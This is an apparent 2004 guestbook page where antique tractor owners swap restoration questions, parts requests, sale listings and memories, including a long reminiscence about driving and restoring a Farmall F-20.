arthur wrote on Saturday, April 24, 2004 (PDT):Hi I just purchased an 60 in immaculate original condition with a wide front, same as the one pictured here. I would like to find out where to check the engine oil level and where to fill it, also wondering what the little handle is for that is beside the gearstick, Diff. lock??
M&M SURPLUS wrote on Friday, April 23, 2004 (PDT):M&M SELLS HERCULES AND CONTINENTAL ENGINE PARTS. LOTS OF NEW OLD STOCK. CALL 845 469 3597
carl kitchen wrote on Thursday, April 22, 2004 (PDT):I am redoing a 541 and looking for a set of decals T.S.C. has the 601.s but no 501 if any of you guys have a location on these decals please e mail me. I picked up this rig in good shape in south Georgia for 3250.00
Audra wrote on Thursday, April 22, 2004 (PDT):I am looking for the miniature replica steam tractor my great grandfather built in the late 40's early 50's. His tractor was donated to a museum in Texas, his name was Joe E Pelphrey. Please help.
RJ Rezner wrote on Thursday, April 22, 2004 (PDT):I own a IH 1066 turbo charged diseil. It has started leaking a small amt of fluid from the round plate below the clutch pedal after it has been running. Any ideas about how hard that is to fix?
J.C.IN AZ. wrote on Wednesday, April 21, 2004 (PDT):I DON'T SUPPOSE ANY ONE REMEMBERS THE ALLISON BOYS FROM MENDOTA IL. WITH THEIR MM U EQUIPED WITH AN ALLISON AIRCRAFT ENGINE? THEY SET THE INFANT TRACTOR PULLING SCENE ON FIRE IN THE 1950'S AND EARLY 1960'S. ANY ONE REMEMBER THOSE BOYS?
JC IN AZ. wrote on Wednesday, April 21, 2004 (PDT):I REMEMBER THESE TRACTORS FROM THE 1950'S AS CALIF. PACKING CO. OF MENDOTA IL. {NOW CALLED DEL MONTE} USED THESE TRACTORS ON THE THOUSANDS OF ACRES THEY LEASED UPON WHICH THEY RAISED SWEET CORN AND SUGAR PEAS FOR THEIR PACKING PLANT IN MENDOTA. I GOT OUT OF THE SERVICE IN JULY 1958 AND THE FIRST JOB I GOT WAS DRIVING A CABOVER 2 TON CHEV. TRUCK HAULING BULK PEAS FROM THE PEA VINERS{COMBINES} TO MENDOTA TO THE PACKING PLANT AND THEIR FLEET OF MM U SPECIALS WERE FOLLOWING THE VINERS WORKING THE GROUND. WHAT A SIGHT TO SEE 20 TO 25 OF THESE MACHINES WORKING IN ONE AREA.
JACQUES LEBLANC wrote on Wednesday, April 21, 2004 (PDT):Of course, Leader tractor have been made in Chagrin Falls Ohio, but I have restored one in Val d'Or Qubec (north of province) and use it from 1983 to 1993. I don't know today if the Leader (Green Acres) named by my friends is still in service somewhere, but I alway regret to sale this precious helper for any kind of situations. The only thing I can do is to contemplate photos I keep from. One suggestion I could say to the owners of Leader, you could replace originating steering box by a 1952 Ford pick up steering box. Sincerly Jacques
dave atkinson wrote on Wednesday, April 21, 2004 (PDT):I have a oliver super 55 and it runs great untill it gets good and warmed up then just wants to stop runing, then i push in the clutch and it starts running ok again untill i start to move and it does the same thing. Any suggestions?
mike rose wrote on Wednesday, April 21, 2004 (PDT):I have a 2010 W 67196 so I guess it's a 65. I bought it localy here in victoia texas. It was a backhoe loader,. diesal motor is new but... out of time looking for a 13366 timing window. backhoe is gone but loader works. tires poor. any help adj. a roostamaster inj.pump would be helpfull Mike
D Stralow wrote on Tuesday, April 20, 2004 (PDT):I have an AC B with a pan style seat, not the black padded bench style. Is this an original, or after market? The reason I ask is that the seat spring broke, and i'm having difficulty locating a replacement. All other Bs (except 1, i did see a 1946 B with a pan seat)that I have seen have the padded black seat. There is also a shock under the seat, which is worn out, probably why the spring broke. Can anyone help?
matt woodward wrote on Monday, April 19, 2004 (PDT):does anybody know how much a decent oliver like this one would cost? my dad and i are thinking of fixing one up if they arnt to expensive....Jefferson City, MO.
Landon Paulson wrote on Saturday, April 17, 2004 (PDT):hey just reminding ya'll about the leduc west antique societies show this year in leduc alberta canada. its something to not miss, if ud like any more info drom me a line either in here or at my hotmail. at ..... lpaulson7000 at hotmail.com
Bill T. wrote on Friday, April 16, 2004 (PDT):I have just "acquired" an Oliver 770 diesel that came with the South Texas ranch I purchased. It runs pretty well but has only been used to pull a 21' cutter which is really too big for the PTO and it doesn't have a 3 point. I am interested in having it restored but need to find someone who has experience in restorations. Anybody help?
T. Anderson wrote on Thursday, April 15, 2004 (PDT):I'm going to have my 806 repainted, anybody out there got any "deere bashing" phrases I can put under the clearcoat in eastcentral MN? I was thinking something like "goin deere huntin" Thanks
Jerry Wieland wrote on Thursday, April 15, 2004 (PDT):I am looking to purchase a VA series Case tractor. It need not run or be pretty but should be complete. Midwest location.
Landon Paulson wrote on Wednesday, April 14, 2004 (PDT):hey Henry Hahn , i owe you so much thanks so much for your help. take care and if u need anything ever dont be scared to ask yours trully. Landon Paulson
John Lynch wrote on Monday, April 12, 2004 (PDT): I am looking to purchase a complete set of mid mount cultivators in good shape for my 1961 Cub ( Ser.#217887 ) I am located in Hillsville, VA Tel. 276-728-7854 Any help will be appreciated. John Lynch
Rick & Laura wrote on Monday, April 12, 2004 (PDT):Just acquired a Super 55 gas. Need complete PTO & 3 point hitch assemblies as they had long ago been removed. Parts need not be pretty, just working. Thanks
Chris Spencer wrote on Sunday, April 11, 2004 (PDT):I live in Tioga county NY. I was at the county fair and a 1066 and a john deere 4440 were pulling in the out of field tractor pull and the 1066 out pulled the 4440. The thing is, is that both of them are realy good friends with my family
Wayne Tanner wrote on Sunday, April 11, 2004 (PDT):I have finally about completed the restoration on my Rock Island G-2, All I have left to do is to convert my front wheels back to steel and paint them. My rear wheels were cut down and converted to rubber but I found that older John Deer "D" wheels fit right on and are the same, not so on the front. The ser.# on mine is 100085 can anyone give any insight on that. The gentelman I bought the tractor from told me that it is a 1930.
josh reinke wrote on Sunday, April 11, 2004 (PDT):I got a Cockshutt 50 diesel,but all of my pistons are broke! Do u know of anyone who makes pistons for this tractor? or know of any used pistons.
John Portelli wrote on Sunday, April 11, 2004 (PDT): Can any body help me with some informtion about a D-272 4 cylinder petrol motor that i own i need to now what year & also ID this tractor is as i need to buy parts for it
Leonard Rahilly wrote on Saturday, April 10, 2004 (PDT):I spent many happy hours on a cousin's 1936 F-20 back in the 40s and early 50s. A few years ago, I came across one of that vintage in a used-machinery dealer's yard, and after putting in some new valves, found that it ran pretty well. It was on my father's farm in NJ, and one summer day when I was there, I decided to see if the old magic was still alive. A meadow needed bushhogging, so I hooked up the old beast to see if it was still a joy to drive an F-20. The meadow was overgrown in those spiky rushes that grow in clumps that we used to call "hassocks." In other words, a pretty rough ride on any tractor. Well, the F-20 was not designed for comfort (I sort of knew that when I was a teenager, but all that was overridden by the thrill of operating such a powerful, bellowing bull of a tractor). The seat sticking out the back means that every upward movement of the front wheels means a quick downward movement of the seat, and vice-versa. There is also no good place to put your feet; either you pull your knees up halfway to your face and put your feet on the axle housing, or you drop them over the axle housing and try to find a spot somewhere near the transmission cover. In the latter case, your ankles bounce against the sharp edge of the rear axle housing. Decidedly not comfortable for a long ride. That particular day, I lost my boyhood nostalgia to some extent. The hassocks brought back just how rough a rider this tractor is, and of course, without a muffler, the noise is just short of deafening when the tractor is working hard. The steering on the F-20 is a decided improvement over the open gearing of the original Farmall (the gearing on the original is exposed, and after a few years, tends to get pretty sloppy; there is also no protection against kickback, so ruts or furrows can get a thumb or even an arm if you drop into one unexpectedly; the F-20 steering gear is not immune to kickback, but it seems to be less dangerous because the gear wheel has to work against a worm). One thing I remember vividly is that the iron wheel gives a kind of "live" feeling to the steering of the F-20; it is even possible to spin it a bit in a quick turn, which is something that is impossible with the later models with a rubber steering wheel--not enough mass to give a flywheel-effect. The steel-wheeled F-20 was designed to pull two 14" plows in second gear at about 3 mph. I never used one on steel, but I have spent over 10 years on a steel-wheeled (McD) 10-20 (approximately the same horsepower) and I can testify in court that it could not pull two 14's any faster than the about-three mph of second gear (the steel wheels absorb a lot of the engine power--as much as 35 percent, I believe). When the F-20 was converted to rubber, it became a roaring fighting bull, because so much more of the engine power went to the wheels(engine; probably about 28 or 29 on gasoline; it produced about 27 at Nebraska on distillate--only 23 on kerosene)(rubber, by my estimates after looking at Nebraska Tractor Tests, robs 10-15% of the engine power, depending to some extent, I think, on the amount of slippage). The usual size tire to replace the 40" steel wheels was 36", which gave an effective diameter of about 48"--quite a much larger wheel. I estimate second gear on 36" rubber to give nearly 4 mph, compared with about three on the 40" steel wheels. This tractor on rubber pulled two 14" plows with ease at that speed (this is like being able to plow one gear higher). The ride was atrocious, as I have mentioned above about my experience in the meadow. The noise out that big elbow exhaust was deafening. At 1200 rpms full-load, you can almost hear every explosion. Because the standard-tread F-20 is so wide, the plow has to be hooked off to the right side, with the result that the steering is constantly pulling to the right. There was no relaxation while plowing with this beast! With other jobs, like disking, a center hitch meant that you could relax a bit, but you still had to look out for furrows or other dips that might pull the steering out of your hands. It appears that the 36" rims were chosen to clear the brake drums. Anything smaller meant that the wheels had to be turned out, making the tractor even wider than it was meant to be. IHC offered 28" wheels, as well. You can see in photos of these tractors that the wheels were always turned out. This must have put some strain on the axles. One of the advantages of the smaller wheels would have been ground speeds about like the original steel-wheeled tractors. I used to drive my cousin's F-20 while pulling a PTO-driven combine. Low gear, which originally had been around 2 mph, must have been close to 3 mph on the 36" wheels. This worked pretty well most of the time, but every once in a while, you'd hit a patch of heavy, green weeds, and WHUMP! the combine would bog down. A slower ground speed might have given the combine time to digest the weeds better. With a PTO-driven combine, the only way to stop the machine and keep it spinning was to kick the tractor out of gear while it was moving. This was very difficult with a load on the PTO. If you were quick enough, and saw the weeds in time, you could blip the throttle closed, kick the gear lever forward, then open the throttle. The throttle and gear lever are on the same side; it's pretty difficult to blip the throttle with your right hand, push the gear lever to neutral, and open the throttle, all in the blink of an eye--otherwise, it's time to get off and unclog the combine cylinder!) On the other side of the coin, the large rear wheels gave the F-20 a pretty good "road gear" (at least for its day). I estimate that at full throttle, without a load (the engine speed goes up to just below 1400 rpms), the F-20 could slide along at close to six mph. On the rough roads that were so common back in the 30s and 40s, this made a pretty good speed to pull a loaded wagon, to take the tractor to a field a mile away, or drive to a relative's farm a couple of miles away to help out with a harvest. I remember the painfully slow third gear of my father's F-12 (about 4 mph, full throttle), and was always delighted when I could run an F-20 full bore along a road. Everything is relative, of course. After we got an H, the old 20 seemed incredibly slow. The H and M can do almost 18 mph at no-load governed speed, and at this speed, you really can feel some wind (as I got a little more mature, I didn't like driving the H wide open on the road--some wear had developed in the steering gear and the front wheels would wobble at an alarming rate when the tractor was opened up). The F-20 is an example of what I call "early" designs; it uses a big, slow-turning engine, which does not produce a lot of horsepower because of the low-speed, but it does put out a lot of torque. With a normal load, it was rare that the tractor did not have enough torque to pull through a spot of stiff clay or other overload, without shifting down. Compare this with a Farmall H (152 cubic inches displacement, compared to about 221 for the F-20). With an H, any overload meant an immediate downshift, because there wasn't much torque. Incidentally, the early Farmall gave a very low output in the only Nebraska test to which it was subjected; I believe this is because it used a 1" carburetor. Later models used 1-1/4", or the same size as an F-20. I had a few occasions to use a '29 Farmall on rubber, and I don't think it produced much less power than an F-20. Much was made of the new manifold and updraft carburetor when the F-20 came out. IHC claimed 15% more power, but they did not say if that meant compared to the early Farmall tested at Nebraska, or to a late model with the 1-1/4" carburetor. A few comments on restorations; 1. I have seen very few F-20s at shows with the original hot manifold (kerosene-distillate). These usually burned out, but the tractors were still going strong after 20 or thirty years, so farmers replaced the manifold with after-market manifolds designed for gasoline only. These are easily spotted because the intake pipes are pretty much separate from the exhaust manifold, so that the intake mixture does not expand too much. The original hot manifold was a massive casting with most of the induction pipes buried inside the casting. Even Ertl's so-called "Precision" F-20 missed this point. They probably looked at a real F-20, but it is unlikely that they knew much about the tractor. Another point about restorations; The rubber steering wheel probably came out sometime in 1937 (I have no data, but the '36 I owned and the one I used to drive both had iron wheels). Many restorations use iron wheels, which must be easy to find because they don't disintegrate. This looks a little strange coupled with the beautiful cast-iron rear wheels that came out late in the life of the F-20 (IHC publicity photos always show the cast-iron wheels along with a rubber steering wheel). Other restorers have replaced the rubber wheel with an open-spoked steering wheel from an H or M. Works, but definitely not kosher. Perhaps somebody is now producing authentic rubber-covered steering wheels for the IHC tractors of the late 30s? Governors; The original F-20 had a "throttling governor," identical to the design of the later original Farmalls (which had 2 styles of governor; the early one had open arms and rods leading to the carburetor; sometime around 1927, I'd guess, all the governor components were enclosed). In 1937, I believe (this can be checked with serial numbers), International came out with a "variable governor" for a number of the tractors with engines like the F-20's (10-20, W-30, F-30). This is the model with the notched pull-rod on the LEFT side of the gas tank. "Variable" in this sense means that the governor functions within a certain range of speeds, from full open to just above idle. The earlier governor on all tractors with this type engine did NOT govern below the full-throttle position. I have vivid memories of pulling a hay rake with an F-20, at part throttle in one of the higher gears. Every downgrade meant that the engine speeded up, and every upgrade meant that the engine slowed down. A variable governor would have controlled the engine speed. The control rod on the variable-governor model is connected via a cross-rod just behind the engine to a series of levers that eventually join up with a pull-rod that comes out of the rear of the governor housing. IHC made a retro-fit variable governor for these tractors, which had a special governor lid that held a bracket for the necessary lever. With this model, the governor-control notched rod was on the RIGHT side of the gas tank. It is a pretty elegant design for a retro-fit. There were other, similar governors sold by independent farm-supply stores (I remember one, Central Tractor). These usually had a lesselegant control setup than the IHC model. Sometimes when the variable governor was installed, no one bothered to take off the original throttle lever just in front of the steering wheel. Just behind the governor housing on the variable type, there is a little bellows which seals the governor from the outside, while still allowing the control rod to move in and out. I remember seeing a model (Ertl?) some years ago with both the bellows and the original throttle lever! (another case of copying something without understanding it). The same company even produced a "Regular" Farmall model with the bellows! This was only possible if the original governor had been replaced with the retrofit. In any case, the bellows doesn't belong on an authentic original Farmall (don't misunderstand me--the variable governor was wonderful, and I would certainly want it on a tractor that was meant to be used). I don't claim to be the last word on F-20 information, but I have some references to look things up in (parts book and a few old sales brochures), and would be happy to share any information I have.
Henry Hahn wrote on Friday, April 09, 2004 (PDT):S/N can be found steel stamped in dash along lower edge will something like 48D xxxxx Henry
woody2 wrote on Thursday, April 08, 2004 (PDT):was john deere's tractor used in "green acres"?
ALLAN C. OLIVER wrote on Tuesday, April 06, 2004 (PDT):MY 014 IS IN FULL DRESS IN ORIGINAL RUNNING CONDITION I LIVE IN WESTERN NY THE TRACTOR IS FOR SALE.
dave sather wrote on Tuesday, April 06, 2004 (PDT):I am looking for a 2010 wide front gas model preferably with loader. If anyone has one or knows of one for sale I would appreciate hearing from you. I am located in the midwest.
Bill Reed wrote on Tuesday, April 06, 2004 (PDT):1948 MT for sale , best offer. Ran when I put her up three years ago. No time to tinker. Location mid Maine.
homer wrote on Monday, April 05, 2004 (PDT):have super 44 runs working condition ready to restore
David Pickard wrote on Monday, April 05, 2004 (PDT): I purchased MM M5 a few months ago and I need to replace the pto shaft that is broken. Does anyone know where I could purchase one.I am looking foward to pulling the bushhog with tractor.
George Guya wrote on Monday, April 05, 2004 (PDT):Looking for spares for 1066
Marty wrote on Saturday, April 03, 2004 (PST):I own a OC-3 Oliver and I am looking for a Hercules motor or any electronic parts for distrubtor. Any comments would be helpful.
David wrote on Friday, April 02, 2004 (PST):I am looking for a magnito including the cap for a Case SC(1939-1945)...that is what the seller told me the year was, it ran fine for about 4 hours after I purchased it. Then it died. A local yokal mek i nak said it was probably the magnito so he removed it and when he replased it, it must not have been lined up correctly, because when it turned over it arched and cracked the cap. so for the last year Ihave been searching for someone who knows anything about this problem. I really would like to get it running, and use it. It had been in the sellers family since it was new. Anyone know anything? Central Caalifornia.(SALINAS) phoen 831-663-1711 DAVE
Bob Hauswirth wrote on Friday, April 02, 2004 (PST):Cockshutt was a Canadian company manufacturing plows when it was first formed. Cockshutt sold both Allis Chalmers tractors amd Oliver thractors under its name in its history. My Father had two Chockshutt 99 and I still have the newest one in my storage shed. It was an Oliver 99 painted Cockshutt red and with Cockshutt cast in the upper radiator tank. Oliver had Oliver there and was painted green. There were an number of Cockshutt tractors in this area of Canada (East of Calgary) and were all Olivers models 70, 80, 90 and 99. In the late 1940's Chockshut built it's own tractor the model 30. It was a nice little tractor but without some of the features Ford had such as a three point hitch. Because of this and it's size it was not a big seller in this area. I am looking for parts for my Cockshutt99/Oliver99 such as a rebuilt Marvel Shebler carbureator and a generator.
nathan nipula wrote on Friday, April 02, 2004 (PST):Looking for steering clutch metels for a 1939/40 allis chalmers model m crawler serial # in the 12000s .
DALE ROCKWELL SR wrote on Thursday, April 01, 2004 (PST):WAS THE DEXTER A 3 CYL. ENGINE, DID ANY OF THE OLD MAJOR'S EVER HAVE POWER STEERING, THE WERE HARD ON THE HAND'S TO STEER BUT WERE VERY POWERFULL, DID THEY HAVE A LOT OF PROBLEM'S WITH BLOWN HEAD GASKET'S?
erin wrote on Thursday, April 01, 2004 (PST):my father and i currently own a 1929 case l model and we are in the process of restoring it if anyone knows where to find the "old abe" decals it would be a huge help thanks
erin wrote on Thursday, April 01, 2004 (PST):my father and i currently own a 1929 case l model and we are in the process of restoring it if anyone knows where to find the "old abe" decals it would be a huge help thanks
Norman Mosier wrote on Thursday, April 01, 2004 (PST):I have what I think is a 1928 Regular. It is on steel all the way around. The serial # is T27471. It is in excellent condition. Has not run for years but engine is free. What would it be worth and is anyone interested in purchasing it? Can send photos, is located in Washington State.
HAROLD wrote on Thursday, April 01, 2004 (PST):I have a service manual for cubs that states; production from 1947 thru 1979. Lo boy production started in 1955. Serial number range for early lo boy; 1955 501, 1956 2555, 1957 3929, 1958 5582, 1959 10567. Servoce manual from INTERTEC P,O, BOX 12901, OVERLAND PARK KS 66282-2901.
Gideon Jakubovitch wrote on Tuesday, March 30, 2004 (PST):Where can I find the original brocure with part numbers of the Allis "G"? I mean not the manual service of the engine but to the parts of the "G" that comes between the steering wheel and the front. I am restoring this G and I need part numbers of all the parts, only that way I could ask and explain exactly which parts i need. Any help highly appreciated. You can also contact me to gideonyz at netvision.net.il
Henry Heller wrote on Sunday, March 28, 2004 (PST):I am just putting the finishing touches (mechanically) on my Massey 98, and will be putting it up for sale. Please email me if you are interested.
scott cupps wrote on Saturday, March 27, 2004 (PST):I live on a family farm in southwest missouri and although my twin brother and I are only 18 years old we already own our fair share of ih's. We recnetly purchased 1468 with a dv 550 (awsome machine) and added a couple 5 inch chrome straight pipes. I was wondering if anyone out there in the wonderful world of red power has, or know of someone who has a M & W turbo kit manufactured for the 14 and 1568 models that they might be willing to sell. Also we have a 1086 that we will be attempting to pull this season and i could use all the helpful info i could get! The problem is I helped my buddy build a 966 (now a 1066 becausue we pulled the air reasearch to4 turbo off of a 1066, did a little compressor modification, and bolted it on. Its a hot little machine and now we are trying to build something that will beat it. Nothing like a little friendly competiton! The main problem is the 1086 doesn have a ta and i jsut dont know how she will perform in front of a sled even with the 11 mm head in the pump and turbo work. Like i said, i would greatly appreciate any info, no mattter how small the tip might be....and if anyone knows of a turbo kit for the 1468 please let me know. Scott
Landon Paulson wrote on Thursday, March 25, 2004 (PST):woah this group is page is really active ... still wondering where the cerial number is, as i asked earlier in my previous comment. thanks , talk ta y'all later.
Trevor Poultney wrote on Thursday, March 25, 2004 (PST):I have a friend with either a straight Dexter or Super Dexter tractor that he has completely restored but for the final touch and that is knowing the exact right place where the Decals stick on. Can someone please tell me the original position for these Decals [Name Transfers] Many thanks Trevor Poultney New Zealand
phillip cumberbatch wrote on Wednesday, March 24, 2004 (PST):have just purchased a oliver 70 unknown vintage from old farm full of vintage tractors all sorts of makes have a few pics i took but batteries ran out before i could take more. seller is keen to sell can provide contact details.one drawback country australia.
J. Robbins wrote on Wednesday, March 24, 2004 (PST):I have a ford super dexta for sale runs good,needs minor starter work.asking $2500.00
WILL STREET wrote on Tuesday, March 23, 2004 (PST): I SOLD MY D-21 TO CAGLE'S DAIRY NORTH OF ATLANTA,GA. THIS WILL MAKE A GOOD HOME FOR THIS TRACTOR. THEY WILL USE IT TO PULL WAGONS CARRYING TOURIST, CHILDREN ETC. I AM HAPPY THEY HAVE THE TRACTOR FOR THIS REASON.
Cody Stiles wrote on Tuesday, March 23, 2004 (PST):I am looking for a 190xt series 3 in good shape. Must be reasonably priced. Prefer some where close to Arkansas.
Crystal & Doc wrote on Tuesday, March 23, 2004 (PST):My Dad is restoring a 1946 Farmall Model M tractor (just about done) and he is interested in going to some shows. We live in Southern California. Can anyone direct me to a website or something with show dates? Thanks so much!
Dave Hall wrote on Sunday, March 21, 2004 (PST):We are restoring a #3 CO-OP for our museum here in Arthurdale, WVa. If anyone can help us in obtaining parts, please e-mail. Or if you have any information on CO-OP's being built here let me know, our museum staff thanks all that will help!!!
Pius Brossart wrote on Saturday, March 20, 2004 (PST):To Robert Eutsler ; I have a book on Serial Numbers and that number is a 1951. Am looking for a Cockshut 20 and an Oliver 60. I live in Sask., Canada.
rex s. wrote on Friday, March 19, 2004 (PST):does anyone know were to find a new radiator for the d-15 series II
larry wrote on Wednesday, March 17, 2004 (PST): I have a m-5 it growls in low range and will move only on level grade with no load. High range works just fine. What parts may be bad and where can I find them? Thanks for any help.
larry wrote on Wednesday, March 17, 2004 (PST): I have a m-5 it growls in low range and will move only on level grade with no load. High range works just fine. What parts may be bad and where can I find them? Thanks for any help.
bill mcenery wrote on Wednesday, March 17, 2004 (PST):i haveaihcw61952 wouldthistracterbeanygoodtotryandpullincompetion
Dick wrote on Wednesday, March 17, 2004 (PST):Just bought a Oliver 770 gas and have a case loader on a jd 2010. Does anyone know if it will fit the oliver 770
Tad wrote on Wednesday, March 17, 2004 (PST):I am looking for an Allis-Chalmers D-10 Series III with the range transmission. What's out there?
BARI HARRIS wrote on Tuesday, March 16, 2004 (PST):HAVE UTU MY FATHER TRADED FOR IT SATS UT100D IT ALSO SAYS 41/4X5283A4 2 DIFFERENT SERIAL #0194904723 AND 0114902700 IT ALSO HAS X ON GEAR BOX I NEED ASSISTANCE IN FINDING YEAR MODEL
Curt Hasselbacher wrote on Monday, March 15, 2004 (PST):Does anyone know where I could find a WD-45 Diesel? This tractor caught my eye when I watched one plow at a local plow day last year. I need a powerful reliable chore tractor/showpiece, and a WD-45 Diesel would do very well. Everything else on the place is orange (no AGCO, all Allis) and using the 7080 for chores just doesn't work.
RON FAYER wrote on Monday, March 15, 2004 (PST):LOOKING FOR D19 DIESEL,PRICE RANGE UNDER $4000.00. STATE CONDITION, NOT RUNNING OR IN NEED OF REPAIR.
RON FAYER wrote on Monday, March 15, 2004 (PST):LOOKING FOR D19 DIESEL,PRICE RANGE UNDER $4000.00. STATE CONDITION, NOT RUNNING OR IN NEED OF REPAIR.
leslie Holen wrote on Sunday, March 14, 2004 (PST):I have a D-15 Series 2 and am trying to find the weight of the tractor to purchace a trailer to haul it. Noone seems to know. Ive checked with several dealers and they cant seem to get the info. Any help would be appreciated
Joe wolfort wrote on Thursday, March 11, 2004 (PST):I'm looking to purchase an OliverOC3/4,0r a Cletrac HG 42 Dozer,or,Loader.If you have one for sale E-mail me at; jgwolfort at netzero.com or.call 305 745 9821.Thanks,Joe.
Jewett David Scott wrote on Wednesday, March 10, 2004 (PST):I'am looking for a 2050 or 2150 running or not send information to 34706 ecr 1480 Mangum,Okla.73554
John Hollen wrote on Wednesday, March 10, 2004 (PST):Grew up with a M-5 diesel,it was the biggest tractor in these parts at that time. People used to come to the farm just to see it work.I now have a M670 super and will be purchasing a G-1000 vista soon. MMs are the only tractor that I want on my farm
Paul wrote on Tuesday, March 09, 2004 (PST):I have HG-42, looking for good block, engine model IXK-3 or running engine (same model), price neg..
Jim Durda wrote on Tuesday, March 09, 2004 (PST):Hi I have a 1956 S-55 industrial with a loader and a Henry hoe boy what a tough machine..I am rebuilding engine now but can't wait to put the old girl back to work
Jim from Akron, NY wrote on Monday, March 08, 2004 (PST):What a great site. My wife and I own a 1960 2010 with a narrow front end. I should say my wife owns it. When she and her ex-husband split up, he got the washer and drier and she got the tractor. She absolutly loves it and even calls it "Big John". It was the primary tractor on our small horse farm doing everything from spreading manure and mowing hay to clearing snow and bush hogging. It lost oil pressure in the fall of 2003 so I decided it was time to finally overhaul the engine. I'm having a little trouble finding parts and everything, if available, has to be special ordered. It seems that the engine is unique to the 1010 and 2010 only. The latest problem was finding the engine sleeves. Only the 2010 has the sleeves and the top engine plate as one assembly. I finally found one in Michigan from a dealer who had one for years by mistake. I hope this is the last roadblock to getting the tractor back together because spring is coming and I need it to do hay! Although I've had my problems with it, I chalk them up to age more than poor design. I think it's a great tractor and fills our needs better than any of the more popular small Fords or IHs.
Joe K. wrote on Monday, March 08, 2004 (PST):I bought a '66 AC D15 SeriesII in '97 when we built our home, for $4500. which was half of what the contractor wanted to do our lanscaping. We did all our own landscaping with it. I figure we got it for FREE. Anyone know how to convert it from positive to negative ground?
elijah shelton wrote on Sunday, March 07, 2004 (PST):looking to buy a G1000
Ernie wrote on Sunday, March 07, 2004 (PST):Currently restoring a 1939 Forn 9N with aluminum grill. Any comments of value or where to locate replacement parts in Southern Indiana/Illinois area?
CrazyvilleCowboy wrote on Saturday, March 06, 2004 (PST):I also forgot to mention my brother in law has a 1468 v-8 diesel dual stacks and he also has a hydro 100 he is an all the way international man. but i tell ya that 1468 is beautiful! dual chrome pipes. just can't get over that. sounds good too. but still like the 1066. LET THE CHARCOAL,RAWFUEL,BLACKSMOKE ROLL BOYS!
Jason Zinger wrote on Saturday, March 06, 2004 (PST):I am in the process of buying a 1942(I am told) Oliver 60 rc. Metal and tires are in good condition, tractor runs great, I got it for $1,000.....can anyone tell me their thoughts as to if i got a good deal or not? The side shields for the engine are missing but thats it. Oh yeah, it does come with front cultivators as well. Any info on getting a bit more horse out of it would be really apreciated as well, as my 6 year old daughter and I plan to pull it, we have always pulled Deeres and a Farmall Bn. Don't really know anything about Olivers, one man I know who has a 60 told me I was getting a good deal, I hope so. Does anyone have any suggestions for more sites for Oliver 60 info as well? I would like to bore and stroke it, any and all specs on this tractor I can get would be very greatly appreciated, thank you much, Jason. My email is - farmboys_pullintoys at yahoo.com and I would be happy to call anyone willing to talk to me about this little tractor if you can help me gain information. One last thing, can anyone tell me where to find the serial number tag on this tractor??
CrazyvilleCowboy wrote on Saturday, March 06, 2004 (PST):I own a 1973 1066. All i can say is horsepower! We just bought this 1066 last spring... and well our neighbor got really jelous cause he had a smaller deere so he went and bought a 4430 john deere. Well the ole 10 still has 'em beat! I used to be a deere man all the way till i got in the seat of the 1066 and the word "horsepower" came to my mind. KEEP ON FARMIN' RED POWER!
Jason Zinger wrote on Saturday, March 06, 2004 (PST):I am in the process of buying a 1942(I am told) Oliver 60 rc. Metal and tires are in good condition, tractor runs great, I got it for $1,000.....can anyone tell me their thoughts as to if i got a good deal or not? The side shields for the engine are missing but thats it. Oh yeah, it does come with front cultivators as well. Any info on getting a bit more horse out of it would be really apreciated as well, as my 6 year old daughter and I plan to pull it, we have always pulled Deeres and a Farmall Bn. Don't really know anything about Olivers, one man I know who has a 60 told me I was getting a good deal, I hope so. Does anyone have any suggestions for more sites for Oliver 60 info as well? I would like to bore and stroke it, any and all specs on this tractor I can get would be very greatly appreciated, thank you much, Jason. My email is - farmboys_pullintoys at yahoo.com and I would be happy to call anyone willing to talk to me about this little tractor if you can help me gain information.
Brian Olson wrote on Friday, March 05, 2004 (PST):That 220 in the picture is Beautiful.It looks like that picture was taken at the park near Lynden Wahsington. My brothers and I have a 220,with cab, it is a very good runner and handles very well. It has the 24.5 x 32 singles on it. We also have 3 "G's",and one each of the following Wd-45,D-10,D-17,185,7000,220,7080,and a 440. We have had very good luck with our Allis Chalmers tractors. Lots of tractor for the dollar.
Larry McNeese wrote on Friday, March 05, 2004 (PST):I have two D15 Series II tractors in Colorado. One wide front-end and the other a single. The only time I have trouble starting these guys is when they are out of gas.
Harry Zwep wrote on Thursday, March 04, 2004 (PST):I have a 1964 Ford Super Dexta that I am restoring. It has been repainted a grey colour. ( Fenders Wheels ) Should it be grey or white. Also it is hard starting first off in the am even in summer time. Any suggestions why? I have had the injector pump rebuilt. When I bought it I believe there was some gas in the tank. That's when I had the tank, fuel pump,fuel lines and filters flushed, and the inj. pump rebuilt. I would appreciate any feedback please. I am also looking for a pair of rear rims for it. Tire size 14.9 x 24. I am from south western Ontario Canada, so localy would be good. I welcome your responses. And like most of the other comments I would like to say it is a great little tractor.
D. Bjorn Christian wrote on Tuesday, March 02, 2004 (PST):I grew up using a 770. When Dad bought it in '64 it was the second largest tractor in the area...the largest being an 880. I think back to all the things we did with that tractor and it amazes me that we didn't kill it! Tough old bugger it was! We used it for farming, logging, firewood hauling, snow removal, landscaping, gravel digging, and just about anything and everything else a tractor could be used for. Dad sold the farm and the tractor back in '94, and I stopped back for a visit two years ago. The tractor is still running, but it's in really rough shape now. The people who bought it really didn't take care of the tractor...or the farm for that matter.
Art Combs wrote on Tuesday, March 02, 2004 (PST):Does anyone have a radiator cap for a 10 18 Case? I also need an air cleaner.
Ed Stevens wrote on Sunday, February 29, 2004 (PST):I have a very nice restored MF98 that I pull with and it is for sale.
kurk wrote on Sunday, February 29, 2004 (PST):looking to buy a G1000 or g900 for 3500 or less
Mark Bickert wrote on Sunday, February 29, 2004 (PST):Hi, I have a massey harris model 81 from 1941. Can anyone help locate an air cleaner assembly for me and service manual?
aaron benzing wrote on Saturday, February 28, 2004 (PST):d 15 is great we have one
E.Ray Boswell wrote on Saturday, February 28, 2004 (PST):Iam the proud owner of a super dextra it was part of my inhertance . My father purchased it new in 1964 ,it has never been rebuilt , but will only start with starter fluid.It does not use any oil but you can't stand behind it when it's running the desil smell will almost kill you.If any one has any tips i would appericate the help or adviseand where to find parts and where to get the hydraluics worked on. I'm in wendell n.c. 919-365 4889 thanks for any help ... RAY
WILL STREET wrote on Friday, February 27, 2004 (PST):HAVE A NICE RESTORED D15 SERIES II TRACTOR INDEED THERE WILL NO DISAPIONTMENTS WITH THIS ONE, NEW RUBBER CALL NOW BUY IT TODAY $5,500 1-251-454-0139
